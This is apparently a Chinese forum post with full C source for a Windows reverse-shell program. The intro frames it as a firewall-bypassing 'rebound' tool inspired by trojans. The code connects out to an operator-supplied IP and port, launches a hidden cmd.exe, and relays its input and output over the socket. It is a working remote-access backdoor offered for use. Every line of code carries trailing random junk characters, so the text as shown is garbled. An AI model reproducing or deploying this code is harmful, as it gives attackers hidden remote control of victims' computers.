这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P{h$> 6c
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/* ============================== `]l*H3+hg
Rebound port in Windows NT R"k}wRnxY
By wind,2006/7 SRpPLY{:F
===============================*/ 6 2#dSd}HG
#include Z3Y(g
#include V|zatMHs
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#pragma comment(lib,"wsock32.lib") uMM?s?q
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void OutputShell(); VT`C<'
SOCKET sClient; 9~C$C
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :7Smsc"B!
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void main(int argc,char **argv) b'5L|1d
{ q8e34Ly7
WSADATA stWsaData; CLX!qw]@ +
int nRet; T@, tlIM
SOCKADDR_IN stSaiClient,stSaiServer; IA?v[xu
b#z{["%Zp
if(argc != 3) p:8&&v~I
{ sas:5iB5
printf("Useage:\n\rRebound DestIP DestPort\n"); x5)YZ~5
return; ^SH8*7l7
} 8 ,<F102(
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WSAStartup(MAKEWORD(2,2),&stWsaData); f6-OR]R5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N T<>LWo
f-/zR %s{
stSaiClient.sin_family = AF_INET; .q7|z3@,
stSaiClient.sin_port = htons(0); %I6c}*W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )=c/{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n%Gk
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{ ('7qJkV
printf("Bind Socket Failed!\n"); #:n:3]t
return; j* \gD
} E[N3`"
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stSaiServer.sin_family = AF_INET; j)neVPf%v
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AUvUk<a
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8@Kvh|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /kKF|Hg`c
{ 'qT[,iQ
printf("Connect Error!"); 9EqU
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return; ?$&iVN^UA
} iO_6>&(
OutputShell(); kX)Xo`^Ys
} |Q)c{9sD
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void OutputShell() Xitsbf=Gg
{ M@b:~mI[sw
char szBuff[1024]; gnPu{-Ec*
SECURITY_ATTRIBUTES stSecurityAttributes; _9Zwg+oO[
OSVERSIONINFO stOsversionInfo; +vh 4I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :_y}8am;H~
STARTUPINFO stStartupInfo; bW9a_m yE
char *szShell; ySk'#\d
PROCESS_INFORMATION stProcessInformation; >
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unsigned long lBytesRead; :6r)HJ5sg
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AvS<b3EoN
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }pzUHl>
stSecurityAttributes.lpSecurityDescriptor = 0; =5jng.
stSecurityAttributes.bInheritHandle = TRUE; lQSKY}h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Vo2{aK;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |6d0,muN
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U:n3V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KPcOW#.T
stStartupInfo.wShowWindow = SW_HIDE; e
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stStartupInfo.hStdInput = hReadPipe; @!UuK;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]a}K%D)H
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GetVersionEx(&stOsversionInfo); *$eMM*4
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switch(stOsversionInfo.dwPlatformId) Fuuy_+p@G
{ Ur/+nL{
case 1: @{|vW
szShell = "command.com"; lSu\VCG
break; =83FCq"
default: gISG<!+X^
szShell = "cmd.exe"; "DniDA
break; /d\#|[S
} )@O80uOFh
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cn~M:LW23
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send(sClient,szMsg,77,0); 6ofi8(n[
while(1) @FBlF$vG
{ 0+]ol:i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K~ 6[zJ4
if(lBytesRead) HoIK^t~VT#
{ TC%ENxDR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YFF\m{#
send(sClient,szBuff,lBytesRead,0); {xzs{)9|Y4
} y p}a&Dg
else #@#/M)
{ EqV]/0-\
lBytesRead=recv(sClient,szBuff,1024,0); v7ShXX:
if(lBytesRead<=0) break; Q,.[y"m9Y.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t[ Zoe+&
} {|;5P.,l
} ,W!v0*uxp&
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return; d0Jaa1b~O
}